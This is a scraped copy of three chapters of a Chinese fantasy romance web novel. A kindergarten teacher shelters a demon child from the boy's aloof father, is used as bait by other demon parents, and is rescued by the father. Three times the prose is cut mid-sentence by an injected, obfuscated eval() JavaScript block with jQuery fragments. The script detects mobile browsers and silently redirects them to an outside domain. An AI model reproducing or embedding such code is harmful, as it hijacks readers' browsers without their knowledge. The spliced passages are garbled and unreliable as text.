陆无烬一袭黑色大衣,阴沉着脸,如地狱修罗,几乎吓掉了杨思昭半条命。 这个男人,竟然就这样堂而皇之地穿墙入室,站在他的床尾? 而他毫无察觉,酣睡一夜,此刻正眼神迷离,头发凌乱,旧睡衣的纽扣掉了两颗,胸口的皮肤露出来一半! “我、我现在就报警——” 杨思昭吼到一半又觉不对,警察也管不了这个男人,于是改了威胁:“你敢对眠眠做什么,我现在就去把幼儿园那棵神树砍了,我要让妖王知道你的行踪!让他来抓你!你也不想被妖王抓回妖界吧!” 陆无烬面无表情地听完。 杨思昭知道这个威胁不顶用,伤敌八百自损一千,他只能抓起被子,把眠眠裹得密不透风,颤声说:“我、我今天不会让你带走眠眠的!” 对于他的不自量力,陆无烬压根不作回应,指尖微微抬起,眠眠已经从杨思昭的怀中飞了起来,一缕缕光束缠绕在眠眠的四周,将他托起。 杨思昭一时间被眠眠的离去冲昏头脑,全然忘了惊讶,竟然不管不顾地朝陆无烬扑了过去,一拳砸在陆无烬的臂膀上。 如以卵击石,陆无烬纹丝不动。 眼看着眠眠就要落到陆无烬的手里,杨思昭不顾一切地揪住他的衣领,怒道:“把眠眠还给我!他需要我!” “我会把他照顾得很好的,你为什么不允许?你太自私了太可恨了!” “你出去!你离开我的家!” 陆无烬是在看到杨思昭眸中泪光的瞬间停下的。 他垂眸望向杨思昭。 只一眼,便松开手。 杨思昭以为自己下一秒就会被陆无烬杀死,但什么都没发生,床尾空无一人。 眠眠从半空落到柔软的羽绒被上,第一件事就是翻个身,而后像小乌龟一样,手脚并用地爬进杨思昭的怀里。 杨思昭的睡衣太大了,他几次绊倒,但毫不停歇,加快速度,一骨碌就抱住了杨思昭的脖子,和他脸贴着脸。 杨思昭怔怔地搂住他。 就……就这样结束了? 陆无烬放过他了? 他用余光扫向四周,生怕陆无烬在床边阴沉沉地盯着他,可卧室里只剩下他和眠眠。 劫后余生。 又有几分说不出的怪异。 怪异在于,他想不明白陆无烬为什么如此轻易地放过他。 杨思昭后知后觉地捡回了自己的心跳,躺回床上,任眠眠趴在他胸口。 他有一搭没一搭地拍着眠眠的小屁股,问:“眠眠,怎么办啊?” 眠眠也不知道。 他只是抓住杨思昭的手,握住一根手指,然后点了点自己。 “什么意思?” 眠眠又点了点自己。 杨思昭一直觉得自己和孩子之间能无障碍交流,此刻却完全看不懂。 眠眠没有再做。 “要起床去幼儿园了,”杨思昭把眠眠抱起来,“还是幼儿园比较安全。” 他昨晚已经把眠眠的衣服洗干净放进烘干机了,今天拿出来就能穿。 穿好衣服,他又给眠眠做了一份猪排鸡蛋三明治,切成小块,还有一杯牛奶。 吃饱喝足了,他赶忙牵着眠眠下楼,楼下的老奶奶看到眠眠,扬声问:“哎哟,小杨,你什么时候有小孩的?” “是我幼儿园的学生。” “吓我一跳,我还以为你结婚了,”老奶奶朝他招了招手,神神秘秘道:“我闺女上次跟你说的,她有个大学学妹,在公司里当财务,你愿不愿意见一见啊?好漂亮的小姑娘呢,说话也讨喜。” 杨思昭一听到这个话题,脑中就浮现梦中的男人,不免有些尴尬。 “不了,谢谢徐阿姨,我……我有对象了。” “啊?” 徐阿姨还要追问,杨思昭已经打了招呼,忙不迭带着眠眠上了出租车。 “呼。”杨思昭如释重负。 眠眠坐在他身侧,不说话,小手紧紧握住他的手。 因为离得近,杨思昭平日里都是坐地铁的,他不知道打车反而堵车,等到灿灿幼儿园的时候,已经八点了。 孩子们的家长没见到他,正在张望,还是齐妍眼尖,遥遥地朝他招手。 “杨老师!” 杨思昭连忙抱着眠眠跑过去。 结果还没靠近齐妍,几个家长就脸色陡变,如临大敌般往后退了一步。 齐妍难以置信地问他:“杨老师,你身上怎么会有……陆先生的气息?” 9.第 9 章 “事情就是这样。” 杨思昭解释得口干舌燥,义愤填膺,“他自己不好好照顾孩子,还不许旁人插手,你们说,这个世界上怎么有这样自私的父亲?” 可面前的家长们似乎没有并不关注陆无烬是一位怎样的父亲,他们互相交换了眼色,连最勉强的笑容都做不出来。 “杨老师,您的意思是,陆无……陆先生最后放过了您,还把孩子留给了您?” “也不是,他没有把孩子交给我,二十分钟前,陈助理还给我发消息,让我不要再惹陆先生生气了,尽快把眠眠送回去。” 想到这里,杨思昭更生气了。 他以前是一个多么好脾气的人,遇到陆无烬之后,都快变成火药罐子了! “杨老师,您知不知道他就是——”齐妍刚想说些什么,就被顾桓制止。 顾桓说:“杨老师真的是爱孩子、爱这份工作,至于陆先生的家事,我们也不便多说,只是希望杨老师保护好自己,毕竟……毕竟我们和孩子们的身份,会招来一些麻烦。” 杨思昭的表情也严肃起来,“知道。” 走出幼儿园的时候,齐妍拧着眉头问顾桓:“你怎么不让我说?” “告诉杨老师,除了让他紧张,没有任何作用,而且你不觉得他对陆无烬的孩子,表现出了不同寻常的喜爱吗?” 家长们都停了下来。 显然,杨思昭提及眠眠时,眼里的爱意几乎要满到溢出来了,这有目共睹。 顾桓继续道:“我们几个之所以被妖王追杀,就是三百年前,妖王夫人逃往人间时,我们的父辈擅自为妖王夫人打开了洵山的门,且始终不愿说出妖王夫人的下落,妖王降罪,牵连至今。按道理说,妖王既然已经发现了我们的行踪,却按兵不动,要么,他有更大的计划——” “要么,他已经找到那个人了。” 家长们面面相觑,不约而同地想到了同一个人。 齐妍反对,“可是杨老师压根不认识妖王,再说了,妖王的夫人也是妖,杨老师身上明显没有半点妖力。” “三百年前的事了,我们的父辈对此也语焉不详,谁都没有亲眼见过妖王的夫人,也没有任何人打包票地说过,妖王的夫人是妖。” 齐妍默然。 小池的父亲站了出来,提出自己的想法:“百年逃亡,于我们而言是无妄之灾,我们也受够了。反正已经落在他手上,不如我们也占据一次主动。我们赌一把,如果杨老师就是妖王要找的人,那么,一旦他遇险,妖王必然现身相救。” “届时,一切都有定论。” 几个家长商议之后,都选择同意,齐妍叮嘱道:“万万不能伤了杨老师。” “这是自然,伤了杨老师,孩子也不放过我们。” . 杨思昭已经去了两趟神树。 他觉得陆无烬不敢踏足幼儿园,一定是因为西南角那棵神树。 人妖神的世界,妖总是惧怕神的。 他在神树下驻足祈祷,真诚地祈祷:希望陆无烬能受到神树的惩罚,除非他认识到错误,变成一个三好父亲,否则就永远不要和他争夺眠眠,离他们越远越好。 回到班级,六个小家伙正踩着小板凳,趴在窗台边,脑袋抵着脑袋。 虽然只是一层,杨思昭的心还是一下子悬到嗓子眼,咳了一声,加重了语气:“老师有没有说过,不可以爬窗台?” 几个小家伙骨碌碌全下来了。 只有眠眠最不熟练,不管是转身还是下板凳都慢了一拍。落地的时候差点没站稳,好不容易挪到小朋友身边,想到自己不能离他们太近,又往另一边挪了挪。 “你们在看什么?” “扫地的奶奶,手指破了!”乐乐最先回答,还不忘求助杨思昭,“小羊老师怎么办?” 杨思昭于是带着创可贴去找保洁阿姨,问了才知道不是出血,是冻疮。 到了杨思昭这个年纪,又工作了一年,其实对人间疾苦的反应,已经没那么强烈了,可他一回头,就迎上小家伙们充满期待的眼神,于是出去买了一瓶凡士林,送给保洁阿姨,教她怎么涂。 阿姨又惊又喜,连声向他道谢。 杨思昭指了指小(5)班,笑道:“是孩子们的心意。” 小(5)班的窗台上又一次挤满了小脑袋,正值下午,日晒最充足的时候,他们仰着头,眯着眼,感受着冬日暖阳。听到杨思昭的声音,他们又一起直起身子,朝着杨思昭和保洁阿姨笑,乐乐小班长扬声道:“奶奶,要照顾好自己呀!” 保洁阿姨听见,竟然落了泪。 杨思昭想起来之前老院长提过的一句,幼儿园年纪最大的那个保洁员,中年丧子,一夜白头,又和丈夫离了婚,这么多年独自生活,日子过得很苦。 小池揪了揪乐乐的袖子,担忧道:“奶奶哭了,我们是不是说错了?” 圈圈像小火箭一样地跑出来,把自己舍不得吃的芒果蛋糕,送给了保洁阿姨。 阿姨简直不知道如何回应才好,哽咽着问杨思昭,“杨老师,我、我——” “说谢谢小朋友们就可以了。” 阿姨立即对他们说。 小家伙们齐声道:“不用谢!” 慢半拍的眠眠也在旁人说完之后,小声追了句:“奶奶,不用谢。” 杨思昭朝他们竖了一个大拇指。 一天很快结束了。 杨思昭看准时间,提前去储物柜里取走眠眠的换洗衣服,然后把眠眠抱到神树下,叮嘱他:“老师先去送其他小朋友,马上就回来接眠眠,好不好?” 眠眠用力点头,“好。” 等到陈此安来接眠眠的时候,杨思昭就开始装傻,“眠眠?不知道啊,刚刚还在我旁边的,你没看到他吗?” 陈此安叹了口气,“杨老师,孩子属于陆先生,您这样可是违法的。” “我真不知道。”杨思昭一脸无辜。 陈此安将手指抵在额边,在人群中搜索,始终感受不到眠眠的气息。 杨思昭的心脏都突到嗓子眼了,面上还得保持冷静,抱着胳膊倚在门边:“说不定眠眠又溜走了,陈助理有这个时间,不如沿街找一找。” 明知道他在撒谎,陈此安也无可奈何,毕竟妖王给他下过命令:一不可透露;二不可威胁;三不可伤害。 三座大山压着,他只能看着杨思昭的眼里闪过一抹狡黠的亮光,然后把车开到街尾,拿出手机,将杨思昭抱着眠眠走出幼儿园,左右观察鬼鬼祟祟,然后飞快地坐上出租车的画面拍下来,发给陆无烬。 杨思昭始终紧紧抱着眠眠,一直到进了家门,才如释重负地放下小家伙。 眠眠已经对杨思昭的家很熟悉了,比起昨天,也少了些拘谨和胆怯。 杨思昭在厨房做饭,他就扒着厨房门,时不时歪头看一眼杨思昭。 杨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14882156|159298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思昭说:“眠眠,张嘴吃黄瓜。” 他立即仰起头,张大嘴巴。 眠眠虽然吃什么都慢吞吞,安安静静,但他不挑食,乖得要命。 “好宝宝。”杨思昭朝他笑。 为了庆祝他第一次正式偷走眠眠,杨思昭特意炖了鸡汤,盖上砂锅,他就去客厅陪眠眠看动画片了。结果看得太入神,都没听到厨房的咕噜咕噜声,直到汤溢出来,从锅边扑出来,刺啦刺啦的声响从厨房传出来,他才暗叫不好,急急忙忙冲进去,不假思索,直接抓起砂锅盖。 手瞬间就被烫红了。 “嘶——” 他被烫得浑身一颤,转过头,还是冲着眠眠笑:“眠眠别怕,老师没事。” 眠眠的小嘴都快撅成波浪形了。 杨思昭把手放在水龙头下面冲,眠眠就抱着他的腿,仰着头一声不吭。 烫伤比杨思昭预想得严重些。 涂了药膏还是疼,睡觉时,只是碰到被子,就把他疼得一激灵,差点叫出声。 可眠眠在旁边,他终究还是忍住了,翻过身,和眠眠面对面,笑着问他:“眠眠怎么还没睡啊?九点半啦,已经到小朋友的睡觉时间了。” “手。”眠眠往杨思昭的怀里靠了靠。 “老师的手不疼,眠眠吹吹。” 杨思昭把手伸到眠眠嘴边,眠眠立即鼓起嘴巴,小风扇一样猛吹。 吹到最后,小脸都涨红了。 杨思昭差点笑出声来,连忙抱住眠眠,“可以了,老师一点都不疼了。” 心里像灌了一碗热腾腾的甜牛奶,每一个细胞都是柔软幸福的。 他的脑海中忽然闪过一个念头。 如果……眠眠是他的小孩,该多好? 没有比这更好的事了。 眠眠一直等到杨思昭呼吸均匀,才睁开眼,一点一点,爬出了被窝。 翻了个身,滚到杨思昭的手边。 他趴在一旁,撅起屁股,嘟起嘴巴,朝着杨思昭手心的红印,用力吹气。 “呼,呼——” 很快他就没力气了,靠在杨思昭的手臂旁边,歇了几分钟,继续吹,刚用力吸了一口气,脸颊就被一只无形的手捏住了,那只手强大而有力,不仅控制住了眠眠,还在他肉嘟嘟的脸颊上捏了一把。 眠眠用力扯开那只手,转头望去,看到了床边坐着的陆无烬。 陆无烬居高临下地看着他。 眠眠立即张开胳膊,挡在杨思昭面前。 “再给你最后三天,”陆无烬可没有杨思昭那种耐心,他习惯了直接下达命令,“三天后,跟我回洵山。” 眠眠皱起小小的眉头,扑过去咬住陆无烬的胳膊,陆无烬一动不动任他咬,而后轻嗤一声:“跟你妈一样,只会咬人。” 眠眠还是不松口,很快,陆无烬感觉到手臂一阵濡湿,是小家伙的眼泪。他有些不悦,在原地僵坐了一会儿,便消失了。 杨思昭一觉睡到天亮。 奇怪的是,昨晚他竟然没做梦。 那个男人没有出现。 十年来第一次不做梦,他竟然有些恍惚,还有几分不愿承认的失落。 好像失去了什么。 一转头,就看到眠眠的小脸。 眠眠温顺地靠在他怀里,他心里一暖,伸手抱住小家伙,半晌忽然僵住。 他抬起手。 手上的烫伤,完全消失了。 10.第 10 章 “伤呢?” 杨思昭把自己的右手翻来覆去看了好几遍,昨天那一圈瘆人的红印,竟然消失无踪了,手也不疼了,怎么回事? 他琢磨了半天,忽然望向眠眠。 眠眠本来正在玩枕头角,一感觉到杨思昭的视线,立即回应,用他卷绒绒的脑袋在杨思昭的胸口顶来顶去。杨思昭把他捞了出来,朝他眨眨眼,“眠眠!” 眠眠打了个激灵,张大嘴巴。 “你是不是会法术呀?你把老师的伤口弄没了是不是?”杨思昭越想越觉得可爱,把眠眠揉进怀里,“好厉害的眠眠,怎么做到的?” 眠眠一脸茫然。 “眠眠是最厉害的小妖怪,能一个人从家里跑出来找警察叔叔,还能帮老师治伤。” 眠眠不知道妈妈在说什么,但他喜欢拥抱,于是咧嘴笑,任杨思昭“揉捏搓圆”。 今天是周末,不用上幼儿园,杨思昭抱着眠眠度过了一个暖洋洋的清晨。早饭是鸡汤面,眠眠还不怎么会嗦面,只会用勺子一个劲往嘴里塞,溅得满脸汤汁。 吃完早饭,杨思昭思索再三,决定带着眠眠出去玩。他也长了个心眼,在幼儿园周边玩。万一遇到陆无烬,他就第一时间抱着眠眠躲到神树下面。 他们一起逛了商场,杨思昭大手一挥,给眠眠买了两套冬装,两顶小帽子,一双小靴子,一双加绒的运动鞋,拎着大包小包走出商场。 “杨老师?” 杨思昭循声望过去,是齐妍。 “杨老师,好巧啊,”齐妍走过来,笑吟吟道,“这个是眠眠吧,好可爱。” 眠眠察觉到危险,站在杨思昭身前,仰着头,伸出两只胳膊反抱住杨思昭的腿。 杨思昭讶然一笑,“眠眠?” 见此情形,齐妍心中已经有了几分筹算。她对杨思昭说:“杨老师,今天太阳这么好,不如去我们哪儿玩一玩?” “你们?” “是啊,我们几家都住一起,离这不远,就在湖湾公园后面,昨天我老公买了一个很大的轮船玩具,几个孩子已经玩一上午了,杨老师要不要带眠眠去看看?” 杨思昭想了想,说:“好啊。” . 杨思昭被齐妍带到湖畔小岛,虽是冬季,小岛上的树木依旧郁郁葱葱,树冠遮天蔽日,如一层天然的保护罩。 “我们为了躲避妖王的追杀,这些年实在是颠沛流离,孩子也跟着我们居无定所,我们……说实在的,也受够了。” “妖王的老婆为什么要逃跑?” 齐妍说:“我想,是因为妖王生来无情,他的族人世代受无情无爱的诅咒,又有繁衍的本能,也许妖王的夫人伤透了心,就离开了吧。” 无情无爱的诅咒。 不知为何,杨思昭忽然想到了陆无烬。 “如果没有孩子,我们秉承父命,再逃多少年都无所谓,可有了孩子,就不能再颠沛流离下去了,不能让孩子跟着我们受苦。” 齐妍说得恳切,杨思昭连连点头,“那你们打算怎么做?” “杨老师,请您帮我们一个忙。” 齐妍说完她的计划,杨思昭听得半懂不懂,“我?你是说……我做诱饵?” “杨老师,我用性命担保,绝不会危害到您的安全,只是引诱妖王出来。” “您是第一个踏足湖畔小岛的人类,我们也打开了禁制,妖王能够感知到这儿的异样。” 杨思昭还是觉得荒谬。 意外接手了六只小妖怪也就算了,怎么还和妖王扯上关系了? 齐妍将他带到一片草地,前方就是波光粼粼的湖面,身后有几座小房子,红顶白墙,房子上方的空中盘亘着一团团雾气,此刻正在散开,透出澄澈天宇。 其他几个家长陆陆续续从林中走出来,神色肃穆,围成一个圈,齐妍叮嘱杨思昭:“您站在这里就好,不要动。” “我——”杨思昭仍是茫然。 眼看着齐妍伸出手,指尖陡现一簇紫色亮光,而顾桓站在杨思昭身后。 杨思昭不受控制地害怕起来,尽管他已经接受自己身边都是妖怪的事实了,可亲眼目睹妖术阵法,依旧让他全身战栗。 那簇紫色亮光已经朝他飞过来。 杨思昭几乎腿软,踉跄着后退,“我、我,等等!” 顾桓在他身后,指尖凌空画圆。他原本可以阻拦住齐妍的妖火,可不知怎么了,那光束刚靠近杨思昭,就倏然失控,中邪了一般,在空中疯狂舞动,点燃了树枝,搅动了湖水,还有愈演愈烈的趋势。 “怎么回事?”齐妍尖声问。 所有妖齐齐上阵,都无法控制局面。 杨思昭早已六神无主,四窜的妖火蛰痛了他的眼睛,他恐惧到了极点,心脏擂鼓似地响动,鼓胀着,痛感蔓延全身。 来不及躲藏,那妖火认主般停下,猝然回头,而后加速朝他袭来。 杨思昭转身就跑,可终究是凡人之躯,他听到齐妍的惊呼声,下一秒,就感到后颈一阵滚烫,巨大的火浪将他吞没。 “杨老师!” 命悬一线之际,杨思昭感觉有一只无形的手,托住了他的腰,将他揽到身前。 地面轰然龟裂,一道道巨大的裂痕如狰狞的巨蟒,向着四面八方蔓延开来,齐妍与顾桓全力阻挡,仍如螳臂当车。转瞬间,八妖尽数口吐鲜血,脱力倒地。 而方才那团巨大的火浪,只剩下无数粒灰烬,汇聚成伞状,遮住了杨思昭。 杨思昭虚弱地睁开眼,看到了一个不该出现在这里的人,陆无烬。 他蜷缩在陆无烬的怀里。 像很久之前就拥抱过一般,他动了动肩膀,陆无烬就俯身将他抱得更紧。 他以前只觉得陆无烬太冷淡、太阴森,可是这一次,他却在陆无烬那双古井无波的眼眸里,看到了不一样的情绪。 像是难过,又像是……眷恋。 为什么难过? 又是对谁心存眷恋? 有一些模模糊糊的画面在杨思昭的脑海中闪过,呼之欲出。 眠眠不知从哪里钻了出来,急急忙忙地跑了过来,扑到杨思昭身侧。 陆无烬望向四周。 八妖跪伏在地,不敢作声。 . 杨思昭醒来时,已经是晚上十点了。 睁开眼就看到熟悉的天花板,他神思恍惚了一会儿,忽然听到耳边一阵呼哧呼哧的声响。转过头,看到了趴在床边,撅着屁股,努力为他拽被子的眠眠。 “眠眠。”他招了招手。 眠眠立即朝他扑过来,还呜呜咽咽地喊了声,“妈妈。” 杨思昭愣住。 他以为是自己听错了,带着哭腔的声音难以分辨,也许不是妈妈,可他转念又想,眠眠似乎从来没喊过他“小羊老师”。 睡了一下午,肚子有些饿。 他抱着眠眠走出卧室。 刚打开客厅的灯,就被沙发上那抹黑影吓出一身冷汗。 陆无烬竟然坐在他家的沙发上。 依旧是一身深黑色大衣,黑色的衬衣和西裤,抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890760|159298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臂端坐在沙发上,像一尊地狱修罗,但与前几日相比,他看起来有些疲惫,微垂着头,额前落下几绺黑发。 杨思昭这才想起来,早上发生的惊险一刻,齐妍的术法失了控制,是陆无烬救了他。 陆无烬为什么要救他? 他死了,就没人抢眠眠了,对陆无烬来说不是更好么? 杨思昭想不明白。 “他们对你说了什么?”陆无烬仍闭着眼,可威压感丝毫未减。 “我……”杨思昭下意识想瞒,可陆无烬是他的救命恩人,他不能忘恩,于是坦白:“他们想用我引妖王现身。” 他心虚地解释:“他们说,解开了禁制,又让人类踏足小岛,妖王就会现身。” 陆无烬嗤笑了一声。 杨思昭为自己辩解:“我又不知道齐小姐的那团火会失控,齐小姐答应过我,一定不会让我受伤的,我又不傻,也不是故意要拿性命开玩笑的!” 陆无烬面无表情地听完。 这时候,面无表情简直是最高级别的嘲讽。杨思昭羞恼不已,飞快地说了声“谢谢你今天救了我”,就抱着眠眠冲到厨房,背靠在墙上,气得呼吸都重了。 “真讨厌。”杨思昭说。 眠眠以为杨思昭说他讨厌,委屈到瞬间泪眼朦胧,嘴巴又撅成波浪形了。 “不是不是,”杨思昭立马解释,他亲了亲眠眠的小脸,小声说,“老师是说,你爸爸讨厌。” “讨厌。”眠眠学舌。 杨思昭噗嗤一声笑了出来。 “眠眠饿不饿?” 眠眠点头。 杨思昭用余光看了一眼客厅,犹豫良久,把眠眠放到地上,拍了拍他的小屁股,小声叮嘱:“去问问你爸爸,问他饿不饿,要不要留在这里吃晚饭?” 提到爸爸,眠眠的嘴巴就撅得老高,还扭着头,高高抬起下巴,一看就在赌气。 “就问一下,帮帮老师。”杨思昭哄他。 眠眠这才不情不愿地跑过去。 不一会儿又跑回来。 嘴巴撅得更高了。 “怎、怎么了?”杨思昭吓了一跳。 “爸爸说要吃我。”眠眠哭着说。 杨思昭半晌才笑出声来,捏了捏他的屁股,“眠眠这么可爱,老师也要吃一口。” 眠眠更难过了,但他盯着杨思昭的脸想了想,觉得为了妈妈什么都可以,于是缓缓伸出手,送到杨思昭嘴边,又因为怕疼,把脸埋在杨思昭的肩头,闷声说:“不给爸爸吃。” 杨思昭怔住。 当真了? 当真了,还愿意让他吃,小家伙对他的感情似乎比他预想的还要充沛、热烈。 他抱起眠眠,走到客厅,问陆无烬:“你干嘛对眠眠这么凶?他不是你亲生的吗?” 陆无烬抬眸看他一眼,视线在杨思昭的肚子上停留片刻,继续闭目养神。 “你真是……那你有什么忌口吗?” 陆无烬仍是不说话。 杨思昭最讨厌他这副高高在上的模样,好像多说一句就玷污了他尊贵的嘴巴似的。 他又不是妖王,又没中无情无爱的诅咒,在亲生儿子面前,摆什么谱? 杨思昭偏要和他拧着干。 他抱着眠眠阔步过去,准备把眠眠塞到陆无烬的怀里,逼迫他们重建父子亲情。谁料没注意到陆无烬的长腿,脚下一绊,身子直愣愣往前倒去。他又本能地抱紧眠眠,不肯撒手,最后的结局就是—— 连人带眠眠,砸进陆无烬的怀里。 11.第 11 章 杨思昭以为自己会砸得很疼,毕竟陆无烬的胸膛看起来比石头还硬。 可是陆无烬及时伸手握住了他的双肩,微微托起他的身体,杨思昭下意识绷紧胳膊,以至于砸下去时,手肘狠狠砸在陆无烬的锁骨处,头因为惯性向前撞,脸颊将将擦过陆无烬的耳尖,而后咚得一下撞向抱枕。 陆无烬连一声闷哼都没有。 只是托着他,又垂眸看了眼中间差点儿被压扁的眠眠。 眠眠呜咽了两声,好不容易才从杨思昭的怀抱桎梏里爬出来,翻过身,压根顾不上掉了一半的小熊袜子,抱住陆无烬的胳膊就咬上去,想从他的手中救出杨思昭。 陆无烬只一个眼神,眠眠就冻住了。 杨思昭见状,连忙从陆无烬的掌中挣脱出来,央求他:“你、你别这样对他!” 陆无烬于是解除了眠眠的封印。 杨思昭既心疼又无奈,想要抱起眠眠,可转念又想,这是一个难得的父子相处的机会,自己没有立场再插手,于是主动求和:“抱歉,我干涉太多了,我绝没有离间你们父子的意思,我只是从一个幼师的角度,认为孩子也是有情感需求的。” “什么需求?”陆无烬反问。 “四岁的宝宝处于情绪敏感期,他会关注别人是否爱他,你可以经常……抱抱他。” 陆无烬望向眠眠,目光毫无波澜,“你要我抱你?” 眠眠把头摇得像拨浪鼓。 “……” 杨思昭在心里叹了口气,只好问:“我现在去做饭,你有忌口吗?” “没有。” 杨思昭如释重负,忙不迭逃向厨房。 眠眠准备追过去,可陆无烬抓住了他的裤腰,他一个猛冲,裤子就脱了一半。 “啊——” 他还没喊出声,就被陆无烬施了法术,只能穿好裤子趴在沙发边,可怜巴巴地望着厨房的方向。 杨思昭在厨房里忙得不可开交,两个灶头左右开弓,半小时搞出了三菜一汤,梅菜排骨、蛋黄鸡翅、青椒土豆丝,还有一大碗撒了葱花的蘑菇蛋汤。 其实杨思昭很会做饭,这项技能遗传他全能的母亲,仿佛是与生俱来的,独居之后,他没怎么学就很轻松地掌握了各种各样的菜。 以前也招待过同事,可今天给陆无烬做,他竟有些慌乱,中途鸡翅还炸糊了几块,说不上的紧张。 他盛好菜和饭,正要放上桌,身后伸出来一只修长的手,端起了一盘菜。 那只手擦过他的腰侧,和他的手靠得很近,捏住了盘沿。 陆无烬身量太高,气场又极强,杨思昭不敢用余光看他,甚至屏住了呼吸。 “这个?”陆无烬问他。 “啊?啊是,是的。”杨思昭不自觉往台边靠了靠,和陆无烬隔开距离。 陆无烬端走两盘菜。 杨思昭不禁想,这不会是陆无烬这辈子第一次端菜吧? 妖力那般强大,以一敌八,小妖在他面前噤如寒蝉——他应该没进过厨房吧? 想到这里,杨思昭不禁有些后怕。 他是不是太不见外了? 可又不是他让陆无烬留下来的,是陆无烬没走,没走就留下吃饭,顺便端个菜,这……很合理啊,他说服自己。 眠眠终于找到机会和杨思昭亲近,小火箭一般冲过来,坐也要和他坐一起。 杨思昭拿了坐垫,把凳子垫高,又把眠眠抱了上去。 “也不知道合不合你口味。” 他生疏地说了句主人的客套话,说完才发现陆无烬正看着桌上的饭菜失神。 眼神说不出的沉郁,像是在回忆些什么。 “怎么了?” “没有。”陆无烬拿起筷子。 杨思昭再次松了口气。 他现在由衷地钦佩陈助理,竟然能一直待在陆无烬的身边,而不被他由内而外散发的寒气震慑住。 “那个……齐小姐他们,还好吗?” “你希望他们好?” “也不是,我能理解他们对孩子的爱,毕竟颠沛流离的日子不好过,如果是我,我也愿意试一试的。昨天的事,谁都不想发生的,我也相信他们没有恶意。” 说完,他又有几分心虚:“如果有恶意,那只能怪我太傻,识人不清。” 杨思昭的脑袋越说越低,自以为绝对诚恳,只换来陆无烬一句—— “确实。” 杨思昭差点一口气没提上来,但救命之恩在前,他也只能忍着。 幸好陆无烬似乎对他的手艺还算满意,排骨吃了三块,鸡翅也吃了两块。 餐厅里一时间只有碗筷碰撞的清脆声响,竟让他有种一家三口的错觉。 杨思昭帮眠眠夹了一块鸡翅,忍不住问:“妖王到底会不会发现你们啊?” 陆无烬动作微顿。 “你怎么看起来一点都不害怕?对了,你和妖王谁比较厉害啊?” 陆无烬抬眸看他,“你觉得呢?” “我……”杨思昭刚要回答,手机忽然响了,是他母亲打来的。 “思昭,你在家吗?”母亲刚跳完广场舞,呼吸还没匀,背景音还有嘈杂的舞曲,“我跳舞的时候认识一个姓徐的阿姨,聊起来才发现,她之前就住你楼下。姓徐,叫徐敏芬,你记不记得啊?” “记得,怎么了?”杨思昭一边听,一边分心给眠眠盛蘑菇蛋汤。 “她怎么说你有对象啊?” 杨思昭差点呛住,“啊?” “她说她要给你介绍一个小姑娘,你说不用,你有对象了,真的假的?” 杨思昭不知如何解释,余光却瞥到陆无烬放下碗筷,抽了张纸巾,慢条斯理地擦手。 他含糊道:“我……我搪塞她的,她老是想给我介绍,我觉得麻烦。” “麻烦什么?”母亲叹了口气,“我白高兴一场,还以为很快就有儿媳妇了。” 杨思昭尴尬到耳朵通红,朝陆无烬笑了笑,立马跑到阳台上了,捂着电话说:“妈,我还没到想这个事的年龄。” “怎么没到了?你要是考个好大学,说要继续读研,等几年再成家,我一句话都不吱声。你读个学前教育,上学上班身边全是女孩子,结果二十三了都没谈恋爱,你说妈妈愁不愁?” “您愁什么?” “我听你姑姑讲,你这样……”母亲有些难以启齿,“你是不是不喜欢女生啊?” 杨思昭心里一咯噔,立马反驳:“怎么可能?” “你小时候不是说,老梦到个男人什么的。” “我现在已经不做那个梦了!” “那太好了,不是最好!你姑姑单位有个同事的女儿,和你一样大,你想不想见一见?我把你微信推给人家?” “……”简直图穷匕见。 “不行就当个朋友呗,你这个职业本来也不好找对象,人家小姑娘是看了你照片才同意的,说明人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14895347|159298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家很满意你长相。” 杨思昭一颗心全系在眠眠身上,想着眠眠吃排骨会不会卡住,想他会不会不小心吞下鸡骨,又怕陆无烬欺负眠眠,压根听不进去他妈的老生常谈,“好好好,随你。” 杨妈妈心满意足地挂了电话。 回到餐厅,陆无烬仍坐在原位,杨思昭窘迫地问:“你吃完了?” “嗯。” “我妈她就喜欢谈这些事,”杨思昭挠挠头,“不好意思啊,影响你吃饭了。” 陆无烬没有回应。 他的眼神又沉又重,像是有许多未尽之语,杨思昭如坐针毡,没消化的食物堵在喉咙口,难受得要命。 很快,女孩的好友申请提示弹了出来,杨思昭拿起手机,点了通过。 放下手机后,陆无烬的脸色更冷了。 杨思昭忽然觉得四周寒意凛冽,可窗户都关得严实,没一处漏风。 他顶着陆无烬的视线,低头喝了口汤,汤凉了,他把剩下的汤倒回锅里,重新加热。 端回来的时候,陆无烬已经消失了,连同眠眠也不见了。 只剩一桌的碗筷。 死寂般的安静。 杨思昭不知所措地站在厨房门口。 他喊了一声“眠眠”,无人回应。 . 